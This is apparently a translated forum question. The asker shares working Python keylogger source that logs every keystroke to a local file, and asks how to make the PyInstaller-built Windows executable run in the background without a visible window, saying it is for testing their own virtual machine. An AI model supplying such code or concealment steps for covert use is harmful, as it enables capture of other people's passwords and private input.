我正在运行python 3.6并且我制作了一个键盘记录器来测试我的VM。我使用pyinstaller将键盘记录器转换为可执行文件。键盘记录器工作得很好但是,当我运行它时,它会打开一个黑色的窗口,当我关闭它时,它会停止程序。我希望拥有它,以便我可以在后台运行可执行文件。
编辑:我正在使用Windows 10
from pynput.keyboard import Key, Listener
import logging
log_dir = ''
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()